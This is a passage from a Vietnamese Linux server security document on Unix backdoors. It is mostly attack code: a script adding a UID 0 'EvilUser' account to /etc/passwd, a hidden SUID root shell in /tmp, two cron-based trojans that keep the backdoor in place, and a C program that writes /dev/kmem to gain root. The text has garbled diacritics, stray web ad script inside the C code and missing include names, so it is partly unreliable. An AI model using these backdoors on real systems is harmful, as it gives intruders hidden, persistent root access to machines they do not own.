Bacdoor trong Un

Một phần của tài liệu Máy chủ Linux (Trang 60 - 61)

- Sao chộp lại tất cả cỏc files mà kẻ xõm nhập để lại hay thay đổi (như những đoạn mó chương trỡnh, log file, )

4.2Bacdoor trong Un

4 Một số lỗi bảo mật cơ bản: 1 Attack From Inside Un

4.2Bacdoor trong Un

Cỏch đơn giản nhất để hacker cú thờm quyền là thờm 1 tai khoản UID 0 vào file passwd . Cỏi này dễ dàng nhất và nhanh chúng nhất giỳp hacker nắm quyền thờm quền trong root . Tất nhiờn hệ thống sẽ thụng bỏo cho admin 1 tin rằng , Đang cú sự thay đổi password. Hacker chỉ việc cài 1 con Backdoor rồi chạy nú.

#!/bin/csh

# Chốn 1 tài khoản UID=0 vào trong file passwd. set linecount = `wc -l /etc/passwd`

cd # Do this at home.

cp /etc/passwd ./temppass # Safety first. echo passwd file has $linecount[1] lines. @ linecount[1] /= 2

@ linecount[1] += 1 # we only want 2 temp files

echo Creating two files, $linecount[1] lines each \(or approximately that\). split -$linecount[1] ./temppass # passwd string optional

echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa

mv ./xaa /etc/passwd

chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass

echo Done...

Hacker chay file *.pl hoặc *.cgi. Tuy nhiờn ta sẽ khụng để UID 0 hoạt động , cỏi này do Admin quyết định , khi đú hacker thờm vào tài khoản UID 0 thỡ cũng coi như vụ nghĩa, tuy ngiờn hacker tỡm cỏch khỏc bằng cỏch thay đổi password của những tài khoản cú quyền gần như ngang hàng với Root ( VD : lbin ).

Thờm 1 SUID root shell vào trong /tmp lại rất đơn giản bằng code sau :

#!/bin/sh

cp /bin/csh /tmp/.evilnaughtyshell chmod 4755 /tmp/.evilnaughtyshell

Ta sẽ cho hệ thống trỏnh việc tồn tại những file bất hợp phỏp trong /temp cho clean khi hệ thống đuợc reboot hay theo định kỳ . Chỳng làm việc như 1 cron job.

/var/spool/cron/crontabs/root and /etc/fstab

Hacker cú thể viết ra cỏc con trojan cú khả năng chay trờn hệ thống như 1 cron mà khụng bị hạn chế điều gỡ .

Cron-based trojan I. : #!/bin/csh

# Is our eviluser still on the system? Let's make sure he is. #daemon9@netcom.com

set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then # Is he there? set linecount = `wc -l /etc/passwd` cd # Do this at home.

cp /etc/passwd ./temppass # Safety first. @ linecount[1] /= 2

@ linecount[1] += 1 # we only want 2 temp files split -$linecount[1] ./temppass # passwd string optional

cat ./xab >> ./xaa mv ./xaa /etc/passwd

chmod 644 /etc/passwd # or whatever it was beforehand rm ./xa* ./temppass

echo Done... else endif Cron-based trojan II :

#!/bin/csh # Install trojan /etc/passwd file for one minute #daemon9@netcom.com cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd

chỳ ý :/dev/kmem exploit nú là đại diện cho hệ thống trong việc thay đổi UID . để yờu cầu /dev/kmem cho read/write permission thỡ hacker phải gọi được /dev/kmem (excute) và tỡm kiếm được nội dung thụng tin muốn thay đổi bằng trương trỡnh sau:

/* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1])))

{ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID:

%d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation) { printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; (adsbygoogle = window.adsbygoogle || []).push({});

object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))) { fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); }

Hacker cũng cú thể thay đổi nội dung trong /dev/kmem bằng đoạn code thay đổi UID trong passwd bằng cỏch nhỳng thờm đoạn mó sau :

chmod 666 /dev/kmem sleep 300 # Nap for 5 minutes

chmod 600 /dev/kmem # Or whatever it was before

Backdoor luụn là cụng cụ cho cỏc Hacker , ở đõy là Backdoor thực hiện những Script như view , del , up chứ khụng phải Backdoor mở Port. Thậm trớ nếu server bảo mật kộm thỡ khi hacker điều khiển Backdoor ta cú thể ngang hàng với Root mà khụng phải leo thang đặc quyền.

Một phần của tài liệu Máy chủ Linux (Trang 60 - 61)